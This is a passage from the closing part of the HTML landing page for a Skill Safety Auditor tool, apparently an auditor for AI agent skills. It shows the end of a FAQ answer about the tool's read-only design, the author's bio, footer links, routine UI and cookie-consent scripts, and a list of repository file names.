            Yes. The auditor has been run against itself publicly. It uses exactly three read-only tools (<strong>Read</strong>, <strong>WebFetch</strong>, <strong>Glob</strong>), contains no bundled scripts, includes explicit fetch safety boundaries and a self-audit disclaimer, and is published directly by the author with full source available on GitHub. See the <a href="#self-audit">Proof section</a> for the full breakdown.
          </div>
        </div>
      </div>

    </div>
  </div>
</section>

<!-- ── ABOUT ───────────────────────────────────────────── -->
<section id="about" aria-labelledby="about-heading">
  <div class="container">
    <div class="about-inner">
      <img src="author.jpg" alt="Matthew Miller" class="author-photo">
      <div class="about-body">
        <p class="section-eyebrow" id="about-heading">Built by mtthw</p>
        <p class="about-name">Matthew Miller, MA</p>
        <p>I helped bring an innovation culture to a Canadian health authority. In environments accountable for patient data, "move fast" only works when the people responsible for outcomes can actually understand what they're deploying, not just the developers.</p>
        <p>My work in health and public sector taught me that governance isn't paperwork. It's knowing who's responsible when something breaks. Personal AI governance works the same way, just at the scale of one person and one terminal.</p>
        <p>My background is digital transformation, innovation enablement, and communication. I'm sharing Skill Safety Auditor with you so you can move fast and still know exactly what you are dealing with.</p>
        <div class="about-links">
          <a href="https://www.linkedin.com/in/mtthwmllr/" target="_blank" rel="noopener noreferrer">LinkedIn<span class="sr-only"> (opens in new tab)</span></a>
          <a href="https://mtthw.ca" target="_blank" rel="noopener noreferrer">mtthw.ca<span class="sr-only"> (opens in new tab)</span></a>
        </div>
      </div>
    </div>
  </div>
</section>

</main>

<footer>
  <div class="container">
    <div class="footer-inner">
      <div class="footer-links">
        <a href="https://github.com/mtthwmllr/skill-safety-auditor" target="_blank" rel="noopener noreferrer">Skill Source on GitHub<span class="sr-only"> (opens in new tab)</span></a>
        <a href="https://github.com/mtthwmllr/skill-safety-auditor-plugin" target="_blank" rel="noopener noreferrer">Plugin Source on GitHub<span class="sr-only"> (opens in new tab)</span></a>
        <a href="/privacy">Privacy Policy</a>
      </div>
      <a href="https://www.w3.org/WAI/WCAG2AA-Conformance" title="Explanation of WCAG 2 Level AA conformance" target="_blank" rel="noopener noreferrer">
        <img height="31" width="88" src="https://www.w3.org/WAI/WCAG21/wcag2.1AA-blue-v.png" alt="Level AA conformance, W3C Web Content Accessibility Guidelines 2.1"> <span class="sr-only"> (opens in new tab)</span>
      </a>
    </div>
  </div>
</footer>

<script>
  function copyPre(btn) {
    const pre = btn.previousElementSibling;
    const text = pre.textContent.trim();
    navigator.clipboard.writeText(text).then(() => {
      showCopied(btn);
    }).catch(() => {
      const ta = document.createElement('textarea');
      ta.value = text;
      ta.style.position = 'fixed';
      ta.style.opacity = '0';
      document.body.appendChild(ta);
      ta.select();
      try { document.execCommand('copy'); } catch (e) {}
      document.body.removeChild(ta);
      showCopied(btn);
    });
  }

  function setGithubBtnLabel(btn, open) {
    btn.querySelector('.nav-github-label').textContent = open ? 'GitHub ↑' : 'GitHub ↓';
    btn.setAttribute('aria-expanded', open ? 'true' : 'false');
  }

  function toggleGithubMenu(e) {
    e.stopPropagation();
    const menu = document.getElementById('github-menu');
    const btn = e.currentTarget;
    const open = menu.classList.toggle('open');
    setGithubBtnLabel(btn, open);
  }

  document.addEventListener('click', function() {
    const menu = document.getElementById('github-menu');
    const btn = document.querySelector('.nav-github-btn');
    if (menu && menu.classList.contains('open')) {
      menu.classList.remove('open');
      setGithubBtnLabel(btn, false);
    }
  });

  document.addEventListener('keydown', function(e) {
    if (e.key === 'Escape') {
      const menu = document.getElementById('github-menu');
      const btn = document.querySelector('.nav-github-btn');
      if (menu && menu.classList.contains('open')) {
        menu.classList.remove('open');
        setGithubBtnLabel(btn, false);
        btn.focus();
      }
    }
  });

  function switchTab(id) {
    document.querySelectorAll('.tab-btn').forEach(b => {
      const active = b.id === 'tab-btn-' + id;
      b.classList.toggle('active', active);
      b.setAttribute('aria-selected', active ? 'true' : 'false');
    });
    document.querySelectorAll('.tab-panel').forEach(p => {
      p.classList.toggle('active', p.id === 'tab-' + id);
    });
  }

  function toggleFaq(id) {
    const item = document.getElementById(id);
    const btn = item.querySelector('.faq-question');
    const isOpen = item.classList.toggle('open');
    btn.setAttribute('aria-expanded', isOpen ? 'true' : 'false');
  }

  function showCopied(btn) {
    const orig = btn.textContent;
    const origLabel = btn.getAttribute('aria-label');
    btn.textContent = '✓ copied';
    btn.setAttribute('aria-label', origLabel ? origLabel.replace(/^Copy/, 'Copied') : 'Copied');
    btn.classList.add('copied');
    setTimeout(() => {
      btn.textContent = orig;
      btn.setAttribute('aria-label', origLabel);
      btn.classList.remove('copied');
    }, 2000);
  }
</script>

<!-- ── Cookie consent banner ───────────────────── -->
<div id="cookie-banner" role="region" aria-label="Cookie consent" style="display:none">
  <p>This site uses cookies to collect anonymous usage data. <a href="/privacy">Privacy policy</a></p>
  <div class="cookie-actions">
    <button class="cookie-btn cookie-btn-decline" onclick="cookieConsent(false)">Decline</button>
    <button class="cookie-btn cookie-btn-accept" onclick="cookieConsent(true)">Accept</button>
  </div>
</div>

<script>
  (function() {
    var consent = localStorage.getItem('cookie_consent');
    if (!consent) {
      document.getElementById('cookie-banner').style.display = 'flex';
    }
  })();

  function cookieConsent(accepted) {
    localStorage.setItem('cookie_consent', accepted ? 'accepted' : 'declined');
    document.getElementById('cookie-banner').style.display = 'none';
    if (accepted) loadGA();
  }
</script>

</body>
</html>

CHANGELOG.md

index.html

package-lock.json

package.json

privacy.html

README.md

robots.txt

SKILL.md

tessl.json

tile.json

vercel.json